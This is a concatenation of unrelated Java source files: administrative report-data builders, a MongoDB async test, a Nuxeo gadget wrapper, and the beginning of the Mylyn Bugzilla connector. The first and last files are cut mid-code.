JSONObject domainRaw = JSONFactoryUtil.createJSONObject();
JSONArray domainsservicesRaw = JSONFactoryUtil.createJSONArray();
for (int i = 0; i < dossierData.length(); i++) {
currentObject = dossierData.getJSONObject(i);
if (!domainRaw.has(currentObject.getString("domainName"))) {
domainsservicesRaw = JSONFactoryUtil.createJSONArray();
JSONObject servicesRaw = JSONFactoryUtil.createJSONObject();
servicesRaw.put("serviceName", currentObject.getString("serviceName"));
servicesRaw.put("serviceCode", currentObject.getString("serviceCode"));
domainsservicesRaw.put(servicesRaw);
domainRaw.put(currentObject.getString("domainName"), domainsservicesRaw);
} else {
JSONObject servicesRaw = JSONFactoryUtil.createJSONObject();
servicesRaw.put("serviceName", currentObject.getString("serviceName"));
servicesRaw.put("serviceCode", currentObject.getString("serviceCode"));
domainsservicesRaw.put(servicesRaw);
domainRaw.put(currentObject.getString("domainName"), domainsservicesRaw);
}
}
JSONArray domains = JSONFactoryUtil.createJSONArray();
JSONArray keys = domainRaw.names();
for (int i = 0; i < keys.length (); ++i) {
String key = keys.getString (i);
JSONArray value = domainRaw.getJSONArray(key);
if (Validator.isNotNull(key)) {
for (int y = 0; y < value.length(); y++) {
JSONObject currentService = value.getJSONObject(y);
JSONArray dossierDataJasper = JSONFactoryUtil.createJSONArray();
for (int k = 0; k < dossierData.length(); k++) {
JSONObject currentObjectDossier = dossierData.getJSONObject(k);
if (currentObjectDossier.getString("serviceCode").equalsIgnoreCase(currentService.getString("serviceCode"))) {
dossierDataJasper.put(currentObjectDossier);
}
}
currentService.put("dossiers", dossierDataJasper);
}
JSONObject domainRawItem = JSONFactoryUtil.createJSONObject();
domainRawItem.put("domainName", key);
domainRawItem.put("services", value);
domains.put(domainRawItem);
}
}
result.put("domains", domains);
} catch (JSONException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return result;
}
private JSONObject getFormDataReport08(String body) {
// TODO Auto-generated method stub
return null;
}
private JSONObject getFormDataReport07(String body) {
// TODO Auto-generated method stub
return null;
}
private JSONObject getFormDataReport06(String body) {
JSONObject result = JSONFactoryUtil.createJSONObject();
try {
JSONObject resultBody = JSONFactoryUtil.createJSONObject(body);
result.put("year", resultBody.getInt("year"));
result.put("month", resultBody.getInt("month"));
result.put("govAgencyName", resultBody.getString("govAgencyName"));
result.put("fromDate", resultBody.getString("fromDate"));
result.put("toDate", resultBody.getString("toDate"));
result.put("actionUser", "");
JSONArray dossierData = resultBody.getJSONArray("data");
JSONObject currentObject = null;
JSONObject domainRaw = JSONFactoryUtil.createJSONObject();
JSONArray domainsservicesRaw = JSONFactoryUtil.createJSONArray();
for (int i = 0; i < dossierData.length(); i++) {
currentObject = dossierData.getJSONObject(i);
if (!domainRaw.has(currentObject.getString("domainName"))) {
domainsservicesRaw = JSONFactoryUtil.createJSONArray();
JSONObject servicesRaw = JSONFactoryUtil.createJSONObject();
servicesRaw.put("serviceName", currentObject.getString("serviceName"));
servicesRaw.put("serviceCode", currentObject.getString("serviceCode"));
servicesRaw.put("tiep_nhan", 0);
servicesRaw.put("dang_giai_quyet", 0);
servicesRaw.put("da_giai_quyet", 0);
servicesRaw.put("da_tra_ket_qua", 0);
servicesRaw.put("tu_choi", 0);
domainsservicesRaw.put(servicesRaw);
domainRaw.put(currentObject.getString("domainName"), domainsservicesRaw);
} else {
JSONObject servicesRaw = JSONFactoryUtil.createJSONObject();
servicesRaw.put("serviceName", currentObject.getString("serviceName"));
servicesRaw.put("serviceCode", currentObject.getString("serviceCode"));
servicesRaw.put("tiep_nhan", 0);
servicesRaw.put("dang_giai_quyet", 0);
servicesRaw.put("da_giai_quyet", 0);
servicesRaw.put("da_tra_ket_qua", 0);
servicesRaw.put("tu_choi", 0);
domainsservicesRaw.put(servicesRaw);
domainRaw.put(currentObject.getString("domainName"), domainsservicesRaw);
}
}
JSONArray domains = JSONFactoryUtil.createJSONArray();
JSONArray keys = domainRaw.names();
for (int i = 0; i < keys.length (); ++i) {
String key = keys.getString (i);
JSONArray value = domainRaw.getJSONArray(key);
if (Validator.isNotNull(key)) {
JSONObject domainRawItem = JSONFactoryUtil.createJSONObject();
domainRawItem.put("domainName", key);
domainRawItem.put("services", value);
domains.put(domainRawItem);
}
}
result.put("domains", domains);
} catch (JSONException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return result;
}
private JSONObject getFormDataReport05(String body) {
JSONObject result = JSONFactoryUtil.createJSONObject();
try {
JSONObject resultBody = JSONFactoryUtil.createJSONObject(body);
result.put("year", resultBody.getInt("year"));
result.put("month", resultBody.getInt("month"));
result.put("govAgencyName", resultBody.getString("govAgencyName"));
result.put("fromDate", resultBody.getString("fromDate"));
result.put("toDate", resultBody.getString("toDate"));
result.put("actionUser", "");
JSONArray dossierData = resultBody.getJSONArray("data");
JSONObject currentObject = null;
JSONObject domainRaw = JSONFactoryUtil.createJSONObject();
JSONArray domainsservicesRaw = JSONFactoryUtil.createJSONArray();
for (int i = 0; i < dossierData.length(); i++) {
currentObject = dossierData.getJSONObject(i);
if (!domainRaw.has(currentObject.getString("domainName"))) {
domainsservicesRaw = JSONFactoryUtil.createJSONArray();
JSONObject servicesRaw = JSONFactoryUtil.createJSONObject();
servicesRaw.put("serviceName", currentObject.getString("serviceName"));
servicesRaw.put("serviceCode", currentObject.getString("serviceCode"));
domainsservicesRaw.put(servicesRaw);
domainRaw.put(currentObject.getString("domainName"), domainsservicesRaw);
} else {
JSONObject servicesRaw = JSONFactoryUtil.createJSONObject();
servicesRaw.put("serviceName", currentObject.getString("serviceName"));
servicesRaw.put("serviceCode", currentObject.getString("serviceCode"));
domainsservicesRaw.put(servicesRaw);
domainRaw.put(currentObject.getString("domainName"), domainsservicesRaw);
}
}
JSONArray domains = JSONFactoryUtil.createJSONArray();
JSONArray keys = domainRaw.names();
for (int i = 0; i < keys.length (); ++i) {
String key = keys.getString (i);
JSONArray value = domainRaw.getJSONArray(key);
if (Validator.isNotNull(key)) {
for (int y = 0; y < value.length(); y++) {
JSONObject currentService = value.getJSONObject(y);
JSONArray dossierDataJasper = JSONFactoryUtil.createJSONArray();
for (int k = 0; k < dossierData.length(); k++) {
JSONObject currentObjectDossier = dossierData.getJSONObject(k);
if (currentObjectDossier.getString("serviceCode").equalsIgnoreCase(currentService.getString("serviceCode"))) {
dossierDataJasper.put(currentObjectDossier);
}
}
currentService.put("dossiers", dossierDataJasper);
}
JSONObject domainRawItem = JSONFactoryUtil.createJSONObject();
domainRawItem.put("domainName", key);
domainRawItem.put("services", value);
domains.put(domainRawItem);
}
}
result.put("domains", domains);
} catch (JSONException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return result;
}
private JSONObject getFormDataReport04(String body) {
JSONObject result = JSONFactoryUtil.createJSONObject();
try {
JSONObject resultBody = JSONFactoryUtil.createJSONObject(body);
result.put("year", resultBody.getInt("year"));
result.put("month", resultBody.getInt("month"));
result.put("govAgencyName", resultBody.getString("govAgencyName"));
result.put("fromDate", resultBody.getString("fromDate"));
result.put("toDate", resultBody.getString("toDate"));
result.put("actionUser", "");
JSONArray dossierData = resultBody.getJSONArray("data");
JSONObject currentObject = null;
JSONObject domainRaw = JSONFactoryUtil.createJSONObject();
JSONArray domainsservicesRaw = JSONFactoryUtil.createJSONArray();
for (int i = 0; i < dossierData.length(); i++) {
currentObject = dossierData.getJSONObject(i);
if (!domainRaw.has(currentObject.getString("domainName"))) {
domainsservicesRaw = JSONFactoryUtil.createJSONArray();
JSONObject servicesRaw = JSONFactoryUtil.createJSONObject();
servicesRaw.put("serviceName", currentObject.getString("serviceName"));
servicesRaw.put("serviceCode", currentObject.getString("serviceCode"));
servicesRaw.put("da_tra", 0);
servicesRaw.put("tu_choi", 0);
domainsservicesRaw.put(servicesRaw);
domainRaw.put(currentObject.getString("domainName"), domainsservicesRaw);
} else {
JSONObject servicesRaw = JSONFactoryUtil.createJSONObject();
servicesRaw.put("serviceName", currentObject.getString("serviceName"));
servicesRaw.put("serviceCode", currentObject.getString("serviceCode"));
servicesRaw.put("da_tra", 0);
servicesRaw.put("tu_choi", 0);
domainsservicesRaw.put(servicesRaw);
domainRaw.put(currentObject.getString("domainName"), domainsservicesRaw);
}
}
JSONArray domains = JSONFactoryUtil.createJSONArray();
JSONArray keys = domainRaw.names();
for (int i = 0; i < keys.length (); ++i) {
String key = keys.getString (i);
JSONArray value = domainRaw.getJSONArray(key);
if (Validator.isNotNull(key)) {
JSONObject domainRawItem = JSONFactoryUtil.createJSONObject();
domainRawItem.put("domainName", key);
domainRawItem.put("services", value);
domains.put(domainRawItem);
}
}
result.put("domains", domains);
} catch (JSONException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return result;
}
private JSONObject getFormDataReport03(String body) {
JSONObject result = JSONFactoryUtil.createJSONObject();
try {
JSONObject resultBody = JSONFactoryUtil.createJSONObject(body);
result.put("year", resultBody.getInt("year"));
result.put("month", resultBody.getInt("month"));
result.put("govAgencyName", resultBody.getString("govAgencyName"));
result.put("fromDate", resultBody.getString("fromDate"));
result.put("toDate", resultBody.getString("toDate"));
result.put("actionUser", "");
JSONArray dossierData = resultBody.getJSONArray("data");
JSONObject currentObject = null;
JSONObject domainRaw = JSONFactoryUtil.createJSONObject();
JSONArray domainsservicesRaw = JSONFactoryUtil.createJSONArray();
for (int i = 0; i < dossierData.length(); i++) {
currentObject = dossierData.getJSONObject(i);
if (!domainRaw.has(currentObject.getString("domainName"))) {
domainsservicesRaw = JSONFactoryUtil.createJSONArray();
JSONObject servicesRaw = JSONFactoryUtil.createJSONObject();
servicesRaw.put("serviceName", currentObject.getString("serviceName"));
servicesRaw.put("serviceCode", currentObject.getString("serviceCode"));
domainsservicesRaw.put(servicesRaw);
domainRaw.put(currentObject.getString("domainName"), domainsservicesRaw);
} else {
JSONObject servicesRaw = JSONFactoryUtil.createJSONObject();
servicesRaw.put("serviceName", currentObject.getString("serviceName"));
servicesRaw.put("serviceCode", currentObject.getString("serviceCode"));
domainsservicesRaw.put(servicesRaw);
domainRaw.put(currentObject.getString("domainName"), domainsservicesRaw);
}
}
JSONArray domains = JSONFactoryUtil.createJSONArray();
JSONArray keys = domainRaw.names();
for (int i = 0; i < keys.length (); ++i) {
String key = keys.getString (i);
JSONArray value = domainRaw.getJSONArray(key);
if (Validator.isNotNull(key)) {
for (int y = 0; y < value.length(); y++) {
JSONObject currentService = value.getJSONObject(y);
JSONArray dossierDataJasper = JSONFactoryUtil.createJSONArray();
for (int k = 0; k < dossierData.length(); k++) {
JSONObject currentObjectDossier = dossierData.getJSONObject(k);
if (currentObjectDossier.getString("serviceCode").equalsIgnoreCase(currentService.getString("serviceCode"))) {
dossierDataJasper.put(currentObjectDossier);
}
}
currentService.put("dossiers", dossierDataJasper);
}
JSONObject domainRawItem = JSONFactoryUtil.createJSONObject();
domainRawItem.put("domainName", key);
domainRawItem.put("services", value);
domains.put(domainRawItem);
}
}
result.put("domains", domains);
} catch (JSONException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return result;
}
private JSONObject getFormDataReport02(String body) {
JSONObject result = JSONFactoryUtil.createJSONObject();
try {
JSONObject resultBody = JSONFactoryUtil.createJSONObject(body);
result.put("year", resultBody.getInt("year"));
result.put("month", resultBody.getInt("month"));
result.put("govAgencyName", resultBody.getString("govAgencyName"));
result.put("fromDate", resultBody.getString("fromDate"));
result.put("toDate", resultBody.getString("toDate"));
result.put("actionUser", "");
JSONArray dossierData = resultBody.getJSONArray("data");
JSONObject currentObject = null;
JSONObject domainRaw = JSONFactoryUtil.createJSONObject();
JSONArray domainsservicesRaw = JSONFactoryUtil.createJSONArray();
for (int i = 0; i < dossierData.length(); i++) {
currentObject = dossierData.getJSONObject(i);
if (!domainRaw.has(currentObject.getString("domainName"))) {
domainsservicesRaw = JSONFactoryUtil.createJSONArray();
JSONObject servicesRaw = JSONFactoryUtil.createJSONObject();
servicesRaw.put("serviceName", currentObject.getString("serviceName"));
servicesRaw.put("serviceCode", currentObject.getString("serviceCode"));
servicesRaw.put("tong_so", 0);
servicesRaw.put("ky_truoc", 0);
servicesRaw.put("trong_ky", 0);
domainsservicesRaw.put(servicesRaw);
domainRaw.put(currentObject.getString("domainName"), domainsservicesRaw);
} else {
JSONObject servicesRaw = JSONFactoryUtil.createJSONObject();
servicesRaw.put("serviceName", currentObject.getString("serviceName"));
servicesRaw.put("serviceCode", currentObject.getString("serviceCode"));
servicesRaw.put("tong_so", 0);
servicesRaw.put("ky_truoc", 0);
servicesRaw.put("trong_ky", 0);
domainsservicesRaw.put(servicesRaw);
domainRaw.put(currentObject.getString("domainName"), domainsservicesRaw);
}
}
JSONArray domains = JSONFactoryUtil.createJSONArray();
JSONArray keys = domainRaw.names();
for (int i = 0; i < keys.length (); ++i) {
String key = keys.getString (i);
JSONArray value = domainRaw.getJSONArray(key);
JSONObject domainRawItem = JSONFactoryUtil.createJSONObject();
if (Validator.isNotNull(key)) {
domainRawItem.put("domainName", key);
domainRawItem.put("services", value);
domains.put(domainRawItem);
}
}
result.put("domains", domains);
} catch (JSONException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return result;
}
private JSONObject getFormDataReport01(String body) {
JSONObject result = JSONFactoryUtil.createJSONObject();
try {
JSONObject resultBody = JSONFactoryUtil.createJSONObject(body);
result.put("year", resultBody.getInt("year"));
result.put("month", resultBody.getInt("month"));
result.put("govAgencyName", resultBody.getString("govAgencyName"));
JSONArray statistics = resultBody.getJSONArray("data");
result.put("statistics", statistics);
} catch (JSONException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return result;
}
}
|
package org.jnosql.diana.mongodb.document;
import org.jnosql.diana.api.document.Document;
import org.jnosql.diana.api.document.DocumentCollectionManagerAsync;
import org.jnosql.diana.api.document.DocumentDeleteQuery;
import org.jnosql.diana.api.document.DocumentEntity;
import org.jnosql.diana.api.document.DocumentQuery;
import org.jnosql.diana.api.document.Documents;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.api.Test;
import java.io.IOException;
import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Random;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicReference;
import static org.awaitility.Awaitility.await;
import static org.hamcrest.Matchers.notNullValue;
import static org.jnosql.diana.api.document.query.DocumentQueryBuilder.delete;
import static org.jnosql.diana.api.document.query.DocumentQueryBuilder.select;
import static org.jnosql.diana.mongodb.document.DocumentConfigurationUtils.getAsync;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.junit.jupiter.api.Assertions.assertTrue;
public class MongoDBDocumentCollectionManagerAsyncTest {
public static final String COLLECTION_NAME = "person";
private static DocumentCollectionManagerAsync entityManager;
@BeforeAll
public static void setUp() throws IOException, InterruptedException {
MongoDbHelper.startMongoDb();
entityManager = getAsync().getAsync("database");
}
@Test
public void shouldInsertAsync() throws InterruptedException {
AtomicBoolean condition = new AtomicBoolean(false);
DocumentEntity entity = getEntity();
entityManager.insert(entity, c -> condition.set(true));
await().untilTrue(condition);
assertTrue(condition.get());
}
@Test
public void shouldInsertIterableAsync() throws InterruptedException {
List<DocumentEntity> entities = Collections.singletonList(getEntity());
entityManager.insert(entities);
}
@Test
public void shouldUpdateAsync() throws InterruptedException {
Random random = new Random();
long id = random.nextLong();
AtomicBoolean condition = new AtomicBoolean(false);
AtomicReference<DocumentEntity> reference = new AtomicReference<>();
DocumentEntity entity = getEntity();
entity.add("_id", id);
entityManager.insert(entity, c -> {
condition.set(true);
reference.set(c);
});
await().untilTrue(condition);
entityManager.update(reference.get(), c -> condition.set(true));
assertTrue(condition.get());
}
@Test
public void shouldUpdateIterableAsync() throws InterruptedException {
Random random = new Random();
long id = random.nextLong();
AtomicBoolean condition = new AtomicBoolean(false);
AtomicReference<DocumentEntity> reference = new AtomicReference<>();
DocumentEntity entity = getEntity();
entity.add("_id", id);
entityManager.insert(entity, c -> {
condition.set(true);
reference.set(c);
});
await().untilTrue(condition);
entityManager.update(Collections.singletonList(entity));
}
@Test
public void shouldSelect() throws InterruptedException {
DocumentEntity entity = getEntity();
for (int index = 0; index < 10; index++) {
entityManager.insert(entity);
}
AtomicBoolean condition = new AtomicBoolean(false);
DocumentQuery query = select().from(entity.getName()).build();
AtomicReference<List<DocumentEntity>> atomicReference = new AtomicReference<>();
entityManager.select(query, c -> {
condition.set(true);
atomicReference.set(c);
});
await().untilTrue(condition);
List<DocumentEntity> entities = atomicReference.get();
assertTrue(condition.get());
assertFalse(entities.isEmpty());
}
@Test
public void shouldRemoveEntityAsync() throws InterruptedException {
AtomicReference<DocumentEntity> entityAtomic = new AtomicReference<>();
entityManager.insert(getEntity(), entityAtomic::set);
await().until(entityAtomic::get, notNullValue(DocumentEntity.class));
DocumentEntity entity = entityAtomic.get();
assertNotNull(entity);
String collection = entity.getName();
DocumentDeleteQuery deleteQuery = delete().from(collection)
.where("name").eq(entity.find("name").get().get())
.build();
AtomicBoolean condition = new AtomicBoolean(false);
entityManager.delete(deleteQuery, c -> condition.set(true));
await().untilTrue(condition);
assertTrue(condition.get());
}
private DocumentEntity getEntity() {
DocumentEntity entity = DocumentEntity.of(COLLECTION_NAME);
Map<String, Object> map = new HashMap<>();
map.put("name", "Poliana");
map.put("city", "Salvador");
List<Document> documents = Documents.of(map);
documents.forEach(entity::add);
return entity;
}
@AfterAll
public static void end() {
MongoDbHelper.stopMongoDb();
}
}
|
package org.nuxeo.ecm.spaces.core.impl.docwrapper;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.nuxeo.ecm.core.api.ClientException;
import org.nuxeo.ecm.core.api.CoreSession;
import org.nuxeo.ecm.core.api.DocumentModel;
import org.nuxeo.ecm.spaces.api.AbstractGadget;
import org.nuxeo.ecm.spaces.api.Gadget;
import org.nuxeo.ecm.spaces.api.Space;
import org.nuxeo.opensocial.gadgets.service.api.GadgetService;
import org.nuxeo.runtime.api.Framework;
public class DocGadgetImpl extends AbstractGadget {
private static final String GADGET_CATEGORY = "gadget:category";
private static final String GADGET_PLACEID = "gadget:placeID";
private static final String GADGET_POSITION = "gadget:position";
private static final String GADGET_COLLAPSED = "gadget:collapsed";
private static final String GADGET_HEIGHT = "gadget:height";
private static final String GADGET_PREFERENCES = "gadget:props";
private static final String GADGET_NAME = "gadget:name";
private static final String GADGET_URL = "gadget:url";
public static final String TYPE = "Gadget";
private final DocumentModel doc;
private static final Log LOGGER = LogFactory.getLog(DocGadgetImpl.class);
public DocGadgetImpl(DocumentModel doc) {
this.doc = doc;
}
public DocumentModel getDocument() {
return doc;
}
public String getCategory() throws ClientException {
return (String) doc.getPropertyValue(GADGET_CATEGORY);
}
public URL getDefinitionUrl() throws ClientException {
GadgetService service;
URL url = null;
try {
service = Framework.getService(GadgetService.class);
url = service.getGadgetDefinition(this.getName());
} catch (Exception e) {
LOGGER.warn("Unable to get URL from gadgetService", e);
}
if (url == null) {
try {
url = new URL((String) doc.getPropertyValue(GADGET_URL));
} catch (MalformedURLException e) {
LOGGER.error("Malformed URL for gadget " + getId(), e);
return null;
}
}
return url;
}
public String getDescription() throws ClientException {
return (String) doc.getPropertyValue("dc:description");
}
public String getId() {
return doc.getId();
}
public String getName() throws ClientException {
return (String) doc.getPropertyValue(GADGET_NAME);
}
public String getOwner() throws ClientException {
String owner = (String) doc.getPropertyValue("dc:creator");
// this CANNOT be null because OAuth will reject any attempt to have the
// owner of a gadget be null
// normally, in opensocial.properties you must
// shindig.signing.viewer-access-tokens-enabled=true
// but this is unsafe in the case where you can have people
// that can see other users dashboards
return owner == null ? "unknown" : owner;
}
public Space getParent() throws ClientException {
CoreSession session = doc.getCoreSession();
DocumentModel parent = session.getDocument(doc.getParentRef());
return parent.getAdapter(Space.class);
}
public String getPlaceId() throws ClientException {
String result = (String) doc.getPropertyValue(GADGET_PLACEID);
return (result == null) ? "" : result;
}
public int getPosition() throws ClientException {
Long result = (Long) doc.getPropertyValue(GADGET_POSITION);
return (result == null) ? 0 : result.intValue();
}
@SuppressWarnings("unchecked")
public Map<String, String> getPreferences() throws ClientException {
ArrayList<Map<String, String>> list = (ArrayList<Map<String, String>>) doc.getPropertyValue(GADGET_PREFERENCES);
if (list == null)
return null;
HashMap ret = new HashMap<String, String>();
for (Map<String, String> map : list) {
ret.put(map.get("name"), map.get("value"));
}
return ret;
}
public String getTitle() throws ClientException {
return doc.getTitle();
}
public boolean isCollapsed() throws ClientException {
Boolean result = (Boolean) doc.getPropertyValue(GADGET_COLLAPSED);
return (result == null) ? false : result.booleanValue();
}
public boolean isEqualTo(Gadget gadget) {
return gadget.getId()
.equals(getId());
}
public void setCategory(String category) throws ClientException {
doc.setPropertyValue(GADGET_CATEGORY, category);
}
public void setCollapsed(boolean collapsed) throws ClientException {
doc.setPropertyValue(GADGET_COLLAPSED, collapsed);
}
public void setDefinitionUrl(URL url) throws ClientException {
doc.setPropertyValue(GADGET_URL, url.toString());
}
public void setDescription(String description) throws ClientException {
doc.setPropertyValue("dc:desctription", description);
}
public void setName(String name) throws ClientException {
doc.setPropertyValue(GADGET_NAME, name);
}
public void setPlaceId(String placeId) throws ClientException {
doc.setPropertyValue(GADGET_PLACEID, placeId);
}
public void setPosition(int position) throws ClientException {
doc.setPropertyValue(GADGET_POSITION, position);
}
public void setPreferences(Map<String, String> prefs)
throws ClientException {
ArrayList<Map<String, String>> listPrefs = new ArrayList<Map<String, String>>();
for (String key : prefs.keySet()) {
Map<String, String> keyValue = new HashMap<String, String>();
keyValue.put("name", key);
keyValue.put("value", prefs.get(key));
listPrefs.add(keyValue);
}
doc.setPropertyValue(GADGET_PREFERENCES, listPrefs);
}
public void setTitle(String title) throws ClientException {
doc.setPropertyValue("dc:title", title);
}
public int getHeight() throws ClientException {
Long result = (Long) doc.getPropertyValue(GADGET_HEIGHT);
return (result == null) ? 0 : result.intValue();
}
public void setHeight(int height) throws ClientException {
doc.setPropertyValue(GADGET_HEIGHT, height);
}
public void copyFrom(Gadget gadget) throws ClientException {
this.setTitle(gadget.getTitle());
this.setCategory(gadget.getCategory());
this.setPlaceId(gadget.getPlaceId());
this.setPosition(gadget.getPosition());
this.setHeight(gadget.getHeight());
this.setCollapsed(gadget.isCollapsed());
this.setPreferences(gadget.getPreferences());
}
public String getViewer() throws ClientException {
return doc.getCoreSession()
.getPrincipal()
.getName();
}
public boolean hasPermission(String permissioName) throws ClientException {
return doc.getCoreSession()
.hasPermission(doc.getRef(), permissioName);
}
public void save() throws ClientException {
CoreSession session = doc.getCoreSession();
session.saveDocument(doc);
session.save();
}
}
|
package org.eclipse.mylyn.internal.bugzilla.core;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.MalformedURLException;
import java.net.URLEncoder;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Date;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Set;
import org.eclipse.core.runtime.CoreException;
import org.eclipse.core.runtime.IProgressMonitor;
import org.eclipse.core.runtime.IStatus;
import org.eclipse.core.runtime.NullProgressMonitor;
import org.eclipse.core.runtime.Status;
import org.eclipse.mylyn.commons.core.StatusHandler;
import org.eclipse.mylyn.commons.net.Policy;
import org.eclipse.mylyn.tasks.core.AbstractRepositoryConnector;
import org.eclipse.mylyn.tasks.core.IRepositoryQuery;
import org.eclipse.mylyn.tasks.core.ITask;
import org.eclipse.mylyn.tasks.core.TaskRepository;
import org.eclipse.mylyn.tasks.core.data.AbstractTaskAttachmentHandler;
import org.eclipse.mylyn.tasks.core.data.AbstractTaskDataHandler;
import org.eclipse.mylyn.tasks.core.data.TaskAttribute;
import org.eclipse.mylyn.tasks.core.data.TaskAttributeMapper;
import org.eclipse.mylyn.tasks.core.data.TaskData;
import org.eclipse.mylyn.tasks.core.data.TaskDataCollector;
import org.eclipse.mylyn.tasks.core.data.TaskMapper;
import org.eclipse.mylyn.tasks.core.data.TaskRelation;
import org.eclipse.mylyn.tasks.core.sync.ISynchronizationSession;
/**
* @author Mik Kersten
* @author Rob Elves
*/
public class BugzillaRepositoryConnector extends AbstractRepositoryConnector {
private static final String BUG_ID = "&bug_id=";
private static final String CHANGED_BUGS_CGI_ENDDATE = "&chfieldto=Now";
private static final String CHANGED_BUGS_CGI_QUERY = "/buglist.cgi?query_format=advanced&chfieldfrom=";
private static final String CLIENT_LABEL = "Bugzilla (supports uncustomized 2.18-3.0)";
private static final String COMMENT_FORMAT = "yyyy-MM-dd HH:mm";
private static final String DEADLINE_FORMAT = "yyyy-MM-dd";
private final BugzillaTaskAttachmentHandler attachmentHandler = new BugzillaTaskAttachmentHandler(this);
private final BugzillaTaskDataHandler taskDataHandler = new BugzillaTaskDataHandler(this);
private BugzillaClientManager clientManager;
private final Set<BugzillaLanguageSettings> languages = new LinkedHashSet<BugzillaLanguageSettings>();
@Override
public String getLabel() {
return CLIENT_LABEL;
}
@Override
public AbstractTaskAttachmentHandler getTaskAttachmentHandler() {
return attachmentHandler;
}
@Override
public String getConnectorKind() {
return BugzillaCorePlugin.CONNECTOR_KIND;
}
@Override
public void updateTaskFromTaskData(TaskRepository repository, ITask task, TaskData taskData) {
TaskMapper scheme = new TaskMapper(taskData);
scheme.applyTo(task);
task.setUrl(BugzillaClient.getBugUrlWithoutLogin(repository.getRepositoryUrl(), taskData.getTaskId()));
boolean isComplete = false;
TaskAttribute attributeStatus = taskData.getRoot().getMappedAttribute(TaskAttribute.STATUS);
if (attributeStatus != null) {
isComplete = attributeStatus.getValue().equals(IBugzillaConstants.VALUE_STATUS_RESOLVED)
|| attributeStatus.getValue().equals(IBugzillaConstants.VALUE_STATUS_CLOSED)
|| attributeStatus.getValue().equals(IBugzillaConstants.VALUE_STATUS_VERIFIED);
}
if (taskData.isPartial()) {
if (isComplete && task.getCompletionDate() == null) {
task.setCompletionDate(new Date(0));
}
} else {
// Completion Date
if (isComplete) {
Date completionDate = null;
List<TaskAttribute> taskComments = taskData.getAttributeMapper().getAttributesByType(taskData,
TaskAttribute.TYPE_COMMENT);
if (taskComments != null && taskComments.size() > 0) {
TaskAttribute lastComment = taskComments.get(taskComments.size() - 1);
if (lastComment != null) {
TaskAttribute attributeCommentDate = lastComment.getMappedAttribute(TaskAttribute.COMMENT_DATE);
if (attributeCommentDate != null) {
try {
completionDate = new SimpleDateFormat(COMMENT_FORMAT).parse(attributeCommentDate.getValue());
} catch (ParseException e) {
// ignore
}
}
}
}
if (completionDate == null) {
// Use last modified date
TaskAttribute attributeLastModified = taskData.getRoot().getMappedAttribute(
TaskAttribute.DATE_MODIFICATION);
if (attributeLastModified != null && attributeLastModified.getValue().length() > 0) {
completionDate = taskData.getAttributeMapper().getDateValue(attributeLastModified);
}
}
if (completionDate == null) {
completionDate = new Date();
}
task.setCompletionDate(completionDate);
} else {
task.setCompletionDate(null);
}
// Bugzilla Specific Attributes
// Product
if (scheme.getProduct() != null) {
task.setAttribute(TaskAttribute.PRODUCT, scheme.getProduct());
}
// Severity
TaskAttribute attrSeverity = taskData.getRoot().getMappedAttribute(BugzillaAttribute.BUG_SEVERITY.getKey());
if (attrSeverity != null && !attrSeverity.getValue().equals("")) {
task.setAttribute(BugzillaAttribute.BUG_SEVERITY.getKey(), attrSeverity.getValue());
}
// Due Date
if (taskData.getRoot().getMappedAttribute(BugzillaAttribute.ESTIMATED_TIME.getKey()) != null) {
Date dueDate = null;
// HACK: if estimated_time field exists, time tracking is
// enabled
try {
TaskAttribute attributeDeadline = taskData.getRoot().getMappedAttribute(
BugzillaAttribute.DEADLINE.getKey());
if (attributeDeadline != null) {
dueDate = new SimpleDateFormat(DEADLINE_FORMAT).parse(attributeDeadline.getValue());
}
} catch (Exception e) {
// ignore
}
task.setDueDate(dueDate);
}
}
updateExtendedAttributes(task, taskData);
}
private void updateExtendedAttributes(ITask task, TaskData taskData) {
// Set meta bugzilla task attribute values
for (BugzillaAttribute bugzillaReportElement : BugzillaAttribute.EXTENDED_ATTRIBUTES) {
TaskAttribute taskAttribute = taskData.getRoot().getAttribute(bugzillaReportElement.getKey());
if (taskAttribute != null) {
task.setAttribute(bugzillaReportElement.getKey(), taskAttribute.getValue());
}
}
}
@Override
public void preSynchronization(ISynchronizationSession session, IProgressMonitor monitor) throws CoreException {
TaskRepository repository = session.getTaskRepository();
if (session.getTasks().isEmpty()) {
return;
}
monitor = Policy.monitorFor(monitor);
try {
monitor.beginTask("Checking for changed tasks", IProgressMonitor.UNKNOWN);
if (repository.getSynchronizationTimeStamp() == null) {
for (ITask task : session.getTasks()) {
session.markStale(task);
}
return;
}
String dateString = repository.getSynchronizationTimeStamp();
if (dateString == null) {
dateString = "";
}
String urlQueryBase = repository.getRepositoryUrl() + CHANGED_BUGS_CGI_QUERY
+ URLEncoder.encode(dateString, repository.getCharacterEncoding()) + CHANGED_BUGS_CGI_ENDDATE;
String urlQueryString = urlQueryBase + BUG_ID;
Set<ITask> changedTasks = new HashSet<ITask>();
Iterator<ITask> itr = session.getTasks().iterator();
int queryCounter = 0;
Set<ITask> checking = new HashSet<ITask>();
while (itr.hasNext()) {
ITask task = itr.next();
checking.add(task);
queryCounter++;
String newurlQueryString = URLEncoder.encode(task.getTaskId() + ",", repository.getCharacterEncoding());
urlQueryString += newurlQueryString;
if (queryCounter >= 1000) {
queryForChanged(repository, changedTasks, urlQueryString, session);
queryCounter = 0;
urlQueryString = urlQueryBase + BUG_ID;
newurlQueryString = "";
}
if (!itr.hasNext() && queryCounter != 0) {
